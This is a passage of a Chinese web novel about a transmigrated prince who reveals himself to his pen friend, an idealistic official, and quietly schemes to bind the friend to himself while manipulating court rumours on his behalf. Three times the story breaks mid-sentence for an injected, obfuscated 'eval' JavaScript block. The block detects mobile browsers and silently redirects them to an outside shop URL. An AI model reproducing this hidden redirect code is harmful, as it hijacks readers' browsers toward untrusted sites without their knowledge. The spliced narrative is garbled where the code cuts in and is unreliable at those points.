越青君面上仍是笑意盈盈,微微歪头,“我?” 宁悬明上前走了两步,却又强行让自己后退,如此反复,原地打转,视线却始终未曾从越青君身上移开,仿佛恨不能绕着对方走上几圈,将此人从上到下,从头到尾,看个清楚干净。 若是平常,宁悬明绝无可能有如此失礼的举动,也绝不会有如此失态的反应。 然而此时此刻,从前的礼仪却像是顷刻之间忘了个一干二净,再无暇顾及。 踟躇半晌,宁悬明最终理智回归,脑中的一切翻涌都逐渐平息,可看着眼前仍是面带笑意看着自己的人,他终究也无言半晌,只再次挤出一个“你……”。 只是这回的“你”,却带着无奈的笑意。 二人四目相对,面上的笑意愈发浓郁,仿佛被对方传染,经久不息。 除去那两个完全没表达出意思的“你”,在与越青君相认后,宁悬明说的第一句话却是:“如果我今晚一直没想到你是谁,你当真要在酒楼待上一晚吗?” 面基掉马后,果然态度大变,连殿下也不叫,直接称呼你了。 宁悬明当然不至于刻意避开殿下这个称呼,但大脑刚经历了一场风暴,他心弦放松,一时不愿意多想,下意识选择了更轻松自在的称呼。 越青君交换了交叠的双腿,一撩衣摆,动作的熟练不下于刚才撩动宁悬明的心。 “虽然我相信你一定能猜到,但如果真有那种可能,我当然也不介意为我的友人,稍稍作出牺牲。” 只要给的够多,酒楼也不会拒绝留他们一晚。 就是要可怜了宁悬明,一无所知地陪越青君留宿,或许还会以为自己哪里得罪了对方。 看着越青君良久,宁悬明失笑摇头,“无论如何我也没想到,与我相交已久的人,竟然会是你,一位皇子。” 越青君看着他眨了眨眼睛:“悬明可是嫌弃我的身份复杂又麻烦,后悔与我相认了?” 宁悬明好笑看他:“那你可有嫌弃我胆大包天,得罪高官,招惹祸端?” 二人相视一笑,都心知不必再说其他。 他们像是最初,本就对彼此一无所知,自然也未曾牵扯其他,无论危险还是机遇,他们从未考虑。 那仅仅是一场简单而纯粹的灵魂相交,互为知己。 从前未曾在意的,现在也不必在意。 尽管宁悬明官小职低,毫不惜命,即使越青君身为皇子,身不由己,他们都为这场相识相知的缘分感到欢喜。 越青君亲手给宁悬明斟茶,“现在你还要回家吗?” 宁悬明直接起身开门,对守在门外的小二道:“再上一壶茶。” 清风明月夜夜好,皆不过今宵。 两人好似忘了宵禁,忘了打烊,忘了今晚宫门下钥,忘了明日要坐班上值,只恨不得今夜长一点,再长一点。 “听说当今六殿下自幼中毒,身子不好,你真能受得住?”回来的宁悬明忽然想起这事,关心道。 越青君半阖上窗,既然已经相认,那明月也失去了它的作用。 “哪有那么差,上次在户部睡了一晚,也不曾有事。” 既然如此,那对方出门必撑伞,时时秀柔弱,便是有其他考量,不必再问,宁悬明便能猜到个七七八八。 二人相识之初,正式宁悬明陷入迷障,浑浑噩噩之时,对方无意中结他困惑心结,字里行间皆是豁达泰然之气,宽他心神。 时至今日,此时此刻,宁悬明方才察觉,原来并非是对方无忧无虑,心境开阔,而是他将一切的忧虑困苦都深藏在心底,从不用其影响他人。 从前他从信中认识的是个恬静宽和的隐士,而今站在他眼前的,才是一个真正的,完整的卫无瑕。 却远比他想的还要让人心生好感,想要亲近。 “那日你听见我的名字,就知道是我了吗?若是重名呢?” 越青君认真想了想,“说来奇怪。” “在见你第一眼,还不知道你的名字的时候,我就冥冥之中心有所感。” “我好像在找你。” 跨越两个世界的联系。 宁悬明虽未说,可他的眼神却那样明亮。 原来你也是。 原来并非我一人如此。 直到此时,当初初见时的奇异之感终于有了缘由,虽然是那样不可思议,但宁悬明却丝毫没有怀疑。 那并非是人力能制造出的反应,既然如此,那便只有心灵感应能够说通。 自许多年前,宁悬明便不信神明,但他信母子连心,既然血脉亲人之间能有感应,那么谁能说友人知己之间不能有呢? 越青君笑而不语,他原也不确定,他们的初次见面,对宁悬明而言,是否有特别的感觉,但从今日后,无论有没有,那日的一切都会在宁悬明心中放大再放大,时间久了,没有也会真有。 暗示的最高成就,弄假成真。 狱中初见,救命之恩,几次提醒,最后揭露真相,层层递进,步步悬疑,结局反转,像一场精心设计的戏剧。 什么命中注定,越青君最擅长,最喜欢的,是主宰命运。 * 一条街外,吕言正办完越青君安排的事回来,却见等在这儿的手下人松了口气。 “殿下还没回来?”他皱眉问。 几人点头,皱眉问道:“公公,咱们可要去寻殿下?” 吕言是知道越青君今日去见了谁的,却也没想到,眼见都要打烊了,殿下竟然还不打算回宫。 “再等等吧。”他想了想道。 不知为何,明明殿下即便得了势,也仍然和从前一般宽和仁善,吕言却每次见对方时,都有种被什么盯上的感觉。 最终,他将之归结于当初对方在自己从未察觉到情况时,就将他的一切小动作都了解得一清二楚。 因而即便他是殿下最亲近的内侍,吕言等闲也不愿意独自往对方面前凑。 结果这一等,他们就从晚上,等到了将近半夜。 越青君自是不介意在酒楼夜宿一晚,然而宁悬明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666754|143235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却十分关心他的身体,不愿意他在没必要的情况下吃苦。 在一壶新茶喝完,两人将从前信中的往来聊得七七八八,宁悬明便借时候已晚,提出回家。 越青君无奈一叹,“原来悬明从前信中写的想要秉烛夜谈,只是敷衍我的场面话。” “今日我主动相邀,你还拒绝。” 宁悬明倒也直接:“若你能找来大夫守着,我也并非不能舍命陪君子。” 越青君思考了一下那种可能,只觉得那不知名大夫碍眼无比。 “说笑而已。”越青君退而求其次,“自上次结案,父皇送了我两处宅子和一处庄子,改日你休沐,我再邀你去做客,你可愿意?” 宁悬明想了想自己如今上值如休沐的日子,总觉得这一日用不了多久。 临出门前,越青君将一个木盒塞进宁悬明怀里。 后者看着原被自己拒绝的木盒,一时有些无语。 越青君却是笑了一下,“先前我说,等你觉得你我的关系到了能够随意收礼的时候,我再将它送给你。” “那请问郎君,如今可是到能收下木盒之时了?” 他好整以暇看着宁悬明,后者抿了抿唇,只觉得对方大约先前将木盒拿出来时,就在等着这一刻。 按理来说,他们之间隔着时间、笔友、君臣种种因素,怎么也不该收这不知装着什么都木盒。 然而……然而……下一刻,宁悬明却将它抱在了怀里。 纵然有如此多的理由,可要他收下它,只需一句。 白首如新,倾盖如故。 二人一同走出明月楼,身后小二一边打着哈欠,一边迫不及待关门打烊。 等待许久的护卫几人正要上前,却被吕言拦住。 “公公?” 吕言看着那并排而走的二人,总觉得此时的越青君一点也不会高兴他们的出现。 “……再等等。” 众人:“……”这还等? 宁悬明如自己所言,一路将越青君送至宫门口。 却在眼见着都要碰到城门守卫时,谁也没开口道别。 直到进无可进。 “殿下既然在宫外有了宅子,今后可会时常出宫?” “我就是没有宅子,也能时常出宫。” 越青君转头看他,“就到这儿吧。” 宁悬明停下脚步。 二人对视良久,明知只要愿意,明日就能相见,随时能相见,可他们还是舍不得今晚结束。 像是再也无法复制的梦境。 待到天明,便是梦醒。 最终,宁悬明上前,轻轻拥住越青君,含笑道:“回去早些歇息。” “明日我依然会记得,与我相识的友人姓卫,名无瑕。” 今夜并非结束,而是开始。 说罢转身离去。 越青君望着他的背影,见他走过一段,脚步渐慢,忽而缓缓回头,待与越青君视线相对,二人又不自觉一笑。 今晚是宁悬明来京城后,最开心,笑得最多的一天。 他只觉得自己走路都比往日迅速许多。 待到回到官舍,他才后知后觉想起自己还抱着个木盒。 心中对木盒的好奇涌上心头,不顾逐渐涌上来的疲倦,用钥匙将其打开,待看见里面的物品时,宁悬明却是一时失语。 对着装满了一层银锭的小木盒,宁悬明不由陷入沉思。 他的好友,他的知己,究竟有多担心自己连饭都吃不起。 然而看着看着,宁悬明最终还是轻笑一声,随后笑容愈深愈真。 与君再相识,好似漂泊许久后,又一朝停泊,重拾消失多年的少年气。 9.诉昨日事,倾今时情 与宁悬明一夜安眠不同,越青君回宫后并没有立即休息。 越青君不喜别人伺候,平日自己住的寝殿也不会留人,回宫后,将门一关,吕言就开始向越青君汇报今天任务完成的如何。 “殿下让奴婢找的人都安排好了,只是那些人向来不受约束,若是想要殿下驱使,恐怕不能长久。” 吕言不敢询问越青君要那些人干什么,但能从对方的安排上推敲。 越青君看了他一眼,笑得意味深长:“这你不必担心,我只是需要他们帮一点小忙。” 望着晃动的烛光,越青君毫无预兆提起了另一件事。 “说起来,梁公公的伤养得如何了?” 吕言一愣,随后又很快反应过来,“多亏殿下关照,公公的身体已经好多了。” 越青君语气悠悠道:“既然如此,那就问问梁公公,是想去皇陵,还是去行宫吧。” 吕言一时没能及时反应,他本以为越青君留下梁公公,是想将对方收为己用,毕竟虽然梁公公失势,但对方曾经陪伴章和帝几十年,知道的秘辛可不少,虽然梁公公始终忠心章和帝,未必会将这些告诉别人,但事在人为,留着总是有用的,尤其是越青君如今势单力薄,更不应该错过。 越青君一眼便知他在想什么,也没生气,只笑笑道:“梁公公侍奉父皇多年,虽有过错,但已受过惩罚,过去的功劳并非作假,父皇也不是绝情之人,如今虽因尚在怒中而对梁公公的安排有所疏忽,那便只好让我这个儿子,为父皇将那份疏忽弥补一二。” “皇陵虽然清苦,但那里葬着卫国皇室诸位先皇,英灵在上,必能保佑梁公公安度晚年,行宫虽不比皇宫辉煌,但到底是耗费巨资修建,其中繁花盛景,四季如春,也是养老的极好去处。” 这一字一句,竟然当真是为梁公公考虑,为章和帝的名声考虑,他自己非但没有从中得到任何好处,反而还要疏通关系安排梁公公的去处,跟别说还可能被章和帝知道后厌弃不满。 听完后吕言满脑子就一句话,他图什么? 从前吕言见越青君对章和帝总是一脸敬仰孺慕,他还以为那是对方为了讨好章和帝而装出来的,毕竟这样的人在章和帝身边不要太多。 然而现在吕言却惊悚地发现,越青君的所有表现或许不是装出来的。 为什么? 章和帝是什么能让人不为名利,心甘情愿捧臭脚的人吗? 又或者是他看走了眼,这位殿下当真是这天底下第一大圣人,无怨无悔为君父付出不成? 仅仅是想想,吕言就想笑。 然而心里笑着笑着,他又笑不出来了。 如果这位殿下真是个无私奉献,不求回报的圣人,那他这样追随的人又怎么办? 既是圣人,还会谋取名利权势地位吗? 这样的主子或许是只求安稳的人喜欢的,但绝不包括吕言。 思绪百转,外界却不过短短几息,吕言恭敬俯身:“多谢殿下挂念,待奴婢问过公公后,便领公公前来向殿下谢恩。” 待吕言的身影消失在殿内,越青君方才勾起一个兴味盎然的笑容。 认定一人忠心耿耿的戏码未免太过无趣,他只是想在娱乐荒芜的古代,给自己制造点娱乐活动而已,他能有什么坏心眼呢。 想必这位在原著中不择手段一心爬到高位,甚至在结局国破时都能苟全性命于乱世的奸宦,一定不介意满足他这么个小小的、微不足道的要求吧? * 郊外一处宅子,十几个成年男人风卷残云干完几十个馒头,几大桶饭菜,就地一躺,完全不想动弹。 过了不知道多久,才有人小声说话:“大哥,那安排咱们住这儿的到底是什么人?要让咱们兄弟们干什么?” “你管人家让你干什么,要是能让老子每天都想今天一样吃肉吃饱,要我给他杀人放火我也……” 还没说完,那人就被狠狠拍了一巴掌:“说什么荤话,媳妇孩子不要了?” 被打的那人挠头嘿笑,“这不是还有你们吗,咱们一起跑到京城,过命的兄弟,怎么也能施舍我媳妇孩子一口饭吃。” 其他人也笑:“自己的媳妇孩子,说什么施舍,这多见外。” 那人笑脸一拉,恶狠狠瞪了他们几眼。 几人一阵说笑打闹,一名身形瘦弱的青年走到一个硬朗男子身边,小声询问:“大哥,你怎么看?” 硬朗男子:“我打听到,城北那边在招兵。” 瘦弱青年当即皱眉,“你还想入伍?爹和叔伯的教训还不够?” 他们来自军屯小镇,原本家境也算不错,他和他哥还能读书认字,可自从去年上头换了长官,底下人就再没过过什么好日子。 若非日子过不下去,他们也不会背井离乡,本来想着京城是天子脚下,活路总比其他地方多,谁知一路遇到的流民就先让他们吃了不少亏,若非是兄弟们都在家中熏陶下不说武艺超群,也是强身健体,比起那些流民要好许多,也不能将老弱妇孺平安护到现在。 硬朗男子:“京城总比别的地方好些……好了,现在给孩子们买药的钱有了,我不会去的。” 瘦弱青年没能完全放心,现在不会去,那就是之前想过。 “还是想想给咱们银子的人要咱们做什么吧。” 硬朗男子皱眉:“总不过是那些偷鸡摸狗,见不得人的事。” 话是这么说,但心里还是忍不住担忧,担心兄弟们因自己的决定而丧命。 “不然咱们偷偷跑了?咱们的人刚刚打探过了,这院子位置偏僻,周围也没什么人守着,就算趁夜跑路也不容易被找到。”瘦弱青年建议道,看样子是早就想这么干了。 “你拿到银子了?”硬朗男人问。 瘦弱青年一噎。 顿时想起今天那人聘用他们的时候,给饭给菜给药,吃喝管够,嘴上说着时候给他们多少银子,但实际一个铜板他们都没拿到。 套路,都是套路,果然贵人都是奸猾狡诈。 如果现在就跑,他们当然不亏,但是依然没什么后路,到时候,他哥多半还是得从军。 虽然军营也吃不饱,但以他哥的身手,至少饿不死。 这一夜,兄弟俩都睡得不是很安稳,做梦都是他们被卖去当奴隶苦工,藏起来的老弱妇孺全被饿死。 * 宁悬明看着手中的正式请帖,想到距离说要请自己上宅子里做客才不过几日,心下忍俊不禁。 不过,想想之前越青君才说下次见面,没几日当真出现在他面前,便又觉得这十分正常。 毕竟他的好友,孱弱的身体也无法阻止他的雷厉风行。 说起来,这还是宁悬明第一次收到越青君的正式邀请,抚过请帖上的笔迹和印章,宁悬明一时又有种回到两人之前书信交流的感觉。 翌日,宁悬明循着请帖上的地址,提着礼上门。 还未到门口,便有下人小跑上前,迎他进门。 “郎君快请,我家郎君早就在府上盼着您来了!” 宁悬明来京城后,第一次受到如此热烈的欢迎,倒也没有受宠若惊,只是觉得,果然,无瑕就是他最好的朋友啊,满京城的人,也只有对方会这么欢迎他。 不得不说,宁悬明此刻的心情仿佛夏日吃冰,浑身舒爽,愉悦得仿佛空气都是甜的。 刚进门,还没走过影壁,便见一道身影先行从影壁后出现。 那人穿着一身熟悉的白衣,撑着熟悉的纸伞,未语先笑。 “悬明。” 清润的声音尤为动听,宛如这朗朗夏日的一缕清风,令人不自觉随着尾音追寻。 “为何每次见你都撑着伞?”宁悬明看着他,第一句确实问了这无关紧要的事。 先前也就算了,今日可是雨后,无风无雨,也无烈日。 越青君向他晃了晃纸伞:“悬明不觉得,撑着伞,就能让人退避三舍,还能挡住自己不想见的人吗?” 宁悬明:“……” 见他竟当真这么想,宁悬明不由一时失笑:“身为皇子,也有不想见的人吗?” 越青君叹息一声道:“正是因为身为皇子,才有更多不想见,却又不得不见之人。” “有时我也很羡慕你,孑然一身。” 宁悬明想说孤家寡人有什么好,随后想到越青君不是孤儿胜似孤儿的处境,忽然也觉得对方果然是能与他纸笔作信,未见先熟的朋友,说话总是极有道理。 越青君收起伞,来到宁悬明身边,“走吧,听说这宅子里有片湖,你应当会喜欢。” 宁悬明觉得奇怪:“你没去过吗?”否则怎么会用听说。 越青君转头看向他,面上笑容那样自然,“我想和你一起。” 宁悬明没什么想法,只是再次加深了进门前的印象,无瑕对他真是太好了。 二人一路边走边聊天。 “陛下为何忽然想到送你宅子?” “大约是因为皇子府要被搁置了。” 宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678616|143235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悬明一愣,“怎么回事?” 越青君面上没有什么不甘不满,甚至还为安抚宁悬明而笑了一下。 “原是小事。” “上回许子穆之案结束后,我便向父皇上书,自言想在宫中多陪他几年。” 话说得好听,实际上不过是老作精因为损失了上百万两银子勃然大怒,越青君为平息对方怒火,主动提出不需要皇子府,给皇帝节省二十万两。 越青君之前并未说谎,章和帝确实赏了他宅子庄子,只是这可不是什么恩宠,不过是对越青君主动提出暂缓皇子府修建的补偿。 这也是章和帝并未因为许子穆一案而迁怒非要追查到底的越青君的原因,六儿子有什么错呢,他不过是不希望君父被糊弄受蒙蔽罢了,对父对君都是忠孝双全,再没有比他更贴心的儿子了。 当然,作为皇子都作出表率了,那你们这些做臣子的,是不是也该有些表示,彰显一下对天子的忠心呢? 其中猫腻不必说,只看结果是老作精又收了不少东西。 至于那上百万两银子,找必然要继续找,只不过他既然从前都没看见,那么现在也可以当做不知道。 宁悬明陷入沉默。 难怪此事很快平息,牵连有限,并未掀起太大动乱。 他几日内迅速升官,想来也有其原因。 眼前这座宅子原住着曾经的二品大员,可惜后来败落,抄没家产,宅子自然也被官府收走。 虽未来得及修缮,但已经请人打扫过,湖水清澈碧绿,涟漪斑斑,九曲回廊幽静雅致,湖心亭更是精美绝伦。 但宁悬明却无心欣赏。 望着眼前不知花费多少雪花银创造的美景,他无声一笑:“区区罪官府邸尚且如此,朝中无银,是真的没有吗?”还是进了谁的囊中? 越青君并未顺着这话说下去,既是心知肚明,又何须赘述。 他转而提起了另一件事。 “先前听你说,来京中本是有事要办,不知可有我相助之处?” 宁悬明沉默半晌,方才缓声开口,“两年前,江南有个县城遭遇山洪,房屋倒塌,农田被毁,死伤无数。” “县令集结当地大户,征集钱粮,搭棚施粥,组织重建,安抚百姓。” “县令上书请求免一年税赋,几月后,却等来一封斥责他谎报灾情的文书。” 他看向越青君,面带疑惑,“你说,分明真的死了数千人,怎么就成了假的呢?” 累累尸骨堆积成山,虽然因为担心瘟疫而将它们烧了,但那就不存在了吗? 越青君没回答,只是想了想后说了一句:“两年前的九月,曾发生一起军中叛乱的案子,据调查,是朝廷常年拖欠军费,军中苦不堪言,上山为匪多年,一直无人告发,直到天子一名宠妃的弟弟路过此地被误杀,才被揭露此事。” 那时,章和帝可比什么许子穆贪污生气多了,朝廷的兵吃不上饭上山为匪还只是让章和帝颜面扫地而已,朝廷的兵因罪反叛,那就是在章和帝屁股里点炮仗了,毕竟天下那么多兵,守卫皇城就有几万,别人能造反,他们就不能吗? 章和帝又怒又怕,虽然后来叛乱被平,但后遗症始终没好,至少现在章和帝每年都会批一大笔军费,再不敢一毛不拔,虽然落到下面折损不少,但至少能让将士饿不死。 “你说的那封奏折大约是呈上来的不是时候,无人愿意在当时触天子霉头。” 至于后来嘛……那便是真被忽视了,毕竟天下问题那么多,不过是一个已经解决了的山洪,不必再多费心思。 于是一封斥责文书了事。 反正人都死了,户籍都没了,假装没死人又怎么了嘛。 不过上面自知理亏,因而只是一封无伤大雅的文书,没有实际惩罚。 宁悬明沉默良久:“你是对的。” “我后来在户部查过,虽然那年没有批准免税,但在第二年免了粮税。” 批了这份条子的人,是唐尚书。 他自怀中摸出一个锦囊,展开一张纤薄,看上去饱受蹂躏的纸张,上面无数人留下的指印,在并不刺眼的柔光下显得脆弱不堪。 “我来京中本想求个答案,最后却徒增困扰。” “铸冤累骨安天下,饮血吸髓坐庙堂。” “什么是忠,什么是奸。” “如果为官者想做一点事,都要谄上媚下,折骨逢迎,那天下还有谁能清清白白。” 白纸本无瑕,无奈斑斑墨迹,染清白身。 10.但见此时晴 在无人注意的地方,【江南旧事】悄悄从灰色变成了可以点开的黑色。 亭台楼阁,风来水榭,本该让人细细欣赏,此时却无人问津。 亭中二人,一人心念朝堂,一人却将心神尽数倾于眼前人身上。 湖面涟漪未散,新的又起,正如眉心褶痕,迟迟不去。 越青君望着宁悬明,想着自己最初对这个角色的构想、设定,赋予他的人生、经历、心性、喜怒哀乐……一点一点完善人设,最终才有了完整的宁悬明。 当这个从头到尾,从内到外,都由自己创造的人,真正出现在他面前,向他展现自己的一切想法。 这种感觉真是……太美妙了。 像父子而比父子亲密无间,像神明又比神明更唯一。 挚友?当然不够。 他要的是这时间最亲密的关系,要的是宁悬明只属于他一人。 他可以拥有自己的生活、志向、自由……可以拥有世间所有人都有的一切。 但他必须属于自己,属于越青君。 那么,似乎也不必再考虑了,世上最亲密的关系,不外乎夫妻,生同衾,死同穴,生生世世,人世黄泉,都不分离。 越青君有时都极为佩服自己,在心里想着如何将宁悬明寸寸融入自己骨血时,还能一心二用和宁悬明继续着之前的话题。 “可惜我太过无能,虽有个出身,却不过是个假样子,无力改变天子,改变朝局。”语气中的失落与叹息是那样真诚又清晰,丝毫没有想要宁悬明支持他,争夺那至高之位的意思。 当然,越青君也确实没有那个意思。 他与宁悬明,一个无权无势只略得了天子几分青眼的皇子,一个得罪了朝廷重臣,被发配去坐冷板凳的小官。 联手夺位?怕是即便说出去,也只会被人当成笑话看。 宁悬明回身望向越青君,见好友当真面带歉疚,当即劝慰道:“这与你又有什么关系?过去二十年,你能保全自身已经要用尽全力,哪还能苛求其他。” 越青君摇头,面上悲悯令他看上去当真有得道高人的风范,湖风一吹,尽显圣人风骨。 “我既出生在皇室,所用分毫皆由天下供养,便天然担有对天下的责任。” “无论我是荣华或卑微,都无法推卸。” “可惜我有心无力,胆怯懦弱,只愿偏安一隅,远不及悬明你为民请命,奔波千里,便是已经对现世失望,也不改其志。” 说到最后,越青君眼中的惭愧尽数变成了钦佩和欣赏,“能与你相识,大约是我此生最大的幸运了。” 说了这么多,只有最后这一句说得最为真心。 而真诚最容易打动人。 至少现在宁悬明就觉得,无瑕也是他认识的最好的友人,不仅人美心善,慷慨解囊,说话还好听。 他大约有些明白天子为何明知有些人不过是趋炎附势爱拍马屁的奸佞小人,也仍旧不愿意远离,对方说的话或许不是出自真心,可那些话是真的啊,听到时的享受与愉悦也并非虚假。 “你这样夸我,差点让我以为自己做了多大的事。”宁悬明笑着摇头, 越青君也笑,“悬明以为自己做的很少吗?” 不然呢?不过是千里迢迢入京,虽然路远了些,中途也略有波折,但他既然如今站在这儿,那么从前的一切都不那么要紧。 越青君却有另外的见解:“你可知天下数千万人,开启民智者不足两成,其中小有见识者又不足五成,这五成之中,学识能力能安抚生民、造化百姓者又要少一半,最后,这所剩无几的人里,面对崇山险峻仍不畏惧,愿意踏出那一步,从能做到在做的人,便是凤毛麟角了。” “引领时代者,必将在青史中留下姓名。” 他说着还笑了一下,“说不定,那时我也能因‘宁悬明友人’而留下一点只言片语,也算借你之光了。” 越青君并未说谎,在原著的最终,只写到宁悬明的死,却还没写他死之后的后续。 原本应该写到番外没来得及,但既然已经变成真实的世界,那么在故事结局之后,世界仍在继续。 欠宁悬明的,都将在青史中补及。 宁悬明神情认真看着他。 越青君侧头疑惑询问:“怎么了?可是我说得哪里不对?” 宁悬明走到他面前,凑近在他身上嗅了嗅。 他的举动猝不及防,越青君毫无防备,被这样靠近,呼吸都不自觉放轻,可心跳却难以掩饰,胸腔里心脏剧烈跳动的声音如此清晰,差点让他将世间声音都隔绝在外。 好在衣服不算薄,且湖心亭周围并无阻隔,并不静音。 宁悬明嗅过后重新站直身子,“只是想知道你今早是不是吃了太多甜食,怎么说话这么好听。” 越青君:“……那你闻出来了吗?” 宁悬明一本正经道:“当然,不是你吃了什么甜食,而是你整个人都是糖做的。” 越青君:“……” 二人相视半晌,忽而齐齐莞尔。 越青君手背在身后,转动念珠的速度快了几分,那是他克制心绪的证明。 怎么办,好想把你抓起来,圈在我身边,好让我能时时看见,时时欢喜。 * 酷暑已过,渐至九月。 卫国百姓有三个重要节日,端午,中秋,新年。 每年中秋,朝廷都会给官员放十日假期,在此期间,朝政难免有些疏忽懈怠,这本也是寻常,毕竟平日里的朝政也没有很效率。 然而今年中秋还是生出了一点不大不小的波澜。 不知从哪日起,坊间流传起了一些小道消息,说是近年四境皆有天灾人祸,动乱频频,可朝廷非但不加安抚,反而当做无事发生,粉饰太平。 在这大好日子惹天子生气,谁也不愿意,然而流言越传越广,甚至有书生文人上衙门询问其是否为真,为此产生了诸多争议。 禁军抓了一些传流言的人,但他们就是一些地痞流氓,也追查不到流言来历。 上报至天子时,果不其然,天子发了好一通火。 他自然不是在意流言真假,只是担心流言影响天子形象。 章和帝显然对自己的形象没有太多自知之明。 有道是造谣一张嘴,辟谣跑断腿,这事儿虽然不大,但还真不好应付。 但只要天子门一关,当作什么也不知道,那造谣的也没什办法。 只是,章和帝是那么贱的人吗? 他当然是。 在意识到这些流言真真假假,粘在身上牛皮糖一样甩不开的时候,章和帝就在心里暗暗做下了甩手不管,冷处理的决定。 只是这话还没说,为天子名誉忧心,不愿见到章和帝被污蔑的越青君就找上了章和帝。 “父皇,这简直欺人太甚。”越青君皱眉,想来无欲无求,温和宁静的脸上难得染上一丝怒气。 “流言如此编排父皇,父皇为何还不将那些宵小一网打尽?” 章和帝:“……”他那是不想吗? 抓人越多,只会越闹越大。 章和帝已经过了最生气的时候,现在比起生气,更多还是觉得烦,所以干脆想眼不见为净。 摆烂就是这么爽。 当然,在儿子臣子面前,章和帝还是会做做面子工程。 “不过一点小事,掀不起什么风浪,用不了多久就会平息。” 章和帝没说错,任何事在过了最初的发酵和高/潮后,人们对它的关注和激情总会逐渐回落。 越青君却似乎不太赞同:“父皇,我虽觉得不必刻意追求名利,却也不愿无故背负骂名,分明事实并非如此,父皇为何不为自己,为朝臣正名?您分明没做过,不是吗?” 我、没做过……吗? 章和帝表情怪异。 虽然他大多数时候不是个人,但他也是知道如今的朝廷是个什么样,要说哪里做的不好,那都不用怀疑,要是说哪里做得好,章和帝自己心里都要咯噔。 面对眼前满眼都是对君父信任的儿子,章 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687781|143235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和帝心情有些复杂。 一方面觉得这个儿子果然没接触过朝政,什么也不懂,另一方面又觉得这样不懂也挺好的,全心信任仰慕自己的儿子,谁又不喜欢呢? 见章和帝不说话,越青君摸出一分文书,“这是儿臣这几日去户部,拜托唐尚书帮忙整理出的近几年的赈灾记录,证据在此,若是将之公之于众,那些凭空污蔑父皇的人定是再无言以对。” 章和帝本没放在心上,然而接过来看了看,渐渐看入了迷。 其实这些赈灾记录分散在好几年时间,被夹在众多奢靡支出里宛如水滴入了大海,并不起眼,但只要整理在一起,让人一眼就看见种种赈灾举措,就十分可观了。 至少章和帝看着看着,心中都忍不住生出朕这个皇帝其实还是做的不错的感觉。 这段时间被流言扰乱的心情都好上许多。 抬头再看越青君,果真是朕的好儿子,一心维护天子名声。 户部的人也是好的,是他忠心耿耿的好臣子。 “去,把唐仁炳叫来。” 张忠海当即去请人。 章和帝看着自己的孝顺儿子,和颜悦色地问:“老六今日帮了朕大忙,有什么想要的,朕都满足你。” 当然,这话要打多少折扣,章和帝心里清楚。 越青君神色认真,“为父皇分忧,本就是儿臣应该做的,怎敢讨赏。” 章和帝:“有功当赏,有错就罚,你若什么都不要,岂不是让朕背负赏罚不明的名声?” 越青君似乎被说动,想了想道:“那父皇就许儿臣在禁军找人做儿臣的武师傅吧,御医说儿臣虽然体质孱弱,但若是能十年如一日坚持锻炼,或许有朝一日也不必日日喝药。” 他唇角带笑,似乎能实现这样一个小小愿望就十分满足。 前有情,后示弱,章和帝难免心软,心一软,说起话来也没怎么过脑子。 “选一个算什么,你身边人少,多挑几个给你当护卫。” * 两日后,宫中连发几道圣旨,都是奖赏地方官员在中枢指挥下救灾有功,重点,中枢指挥。 不仅给地方发了圣旨,还在京中贴了告示,好让百姓看看他们的天子是圣君明主,朝廷官员也是为国为民。 知道内情的人暗中嗤笑,不知内情的人当真信了这番说辞,甚至民间排起了和其相关的戏剧。 无论信不信,在这番大肆宣扬下,先前的流言散得一干二净。 朝廷一个铜板没花,就为自己和天子刷了个好名声。 当日,越青君带着一纸文书,与宁悬明相约宅邸。 同样的胡泊,同样的湖心亭,却虽截然不同的心情。 看着手中的文书,字字句句,看得分明。 “圣旨已经送走了,这份这是我特意找人抄录的。” “没花多少功夫,当初的减税是唐尚书批的,如今他自然也愿意多揽一份名。” 是啊,本就是不算重要的小事,那为何从前从未有人想稍稍运作,拨乱反正? 宁悬明如今也知道,京中那些流言,多半与越青君脱不了干系,但那又如何。 同样是耍手段,有人为名为利,有人只是想拨开乌云。 抬起头,越青君仍看着他,笑容清浅,却那般认真。 “悬明,我虽只有微薄之力,却也愿圆你旧时憾,赠你今时明。” 他在那里,便是光风霁月。 这是宁悬明第一次,觉得古书旧籍中表达情感的词句都太过含蓄。 此时此刻,他并非如相认哪日一般不知从何说起,而是百般言语汇聚心头,却都不及此时心情。 平生第一回遭遇词穷。 他伸出手,拥住了眼前人…… 相识时都未曾有过的拥抱,打破了文人向来含蓄,发乎情,止乎礼的拥抱,在此时都成了情难自禁。 与此同时,虚拟光幕闪现调动。 原本的【江南旧事】,以肉眼可见的速度,变成了金光煜煜的【云开月明】。 11.金色蝴蝶 清苦的药香侵入鼻息,宁悬明非但不觉得苦,反而觉得安心。 他的意识分明十分清晰,却有些享受这片刻沉迷。 嗅着这清苦药香,宁悬明心中对越青君常年体弱,汤药不断这事有了实感。 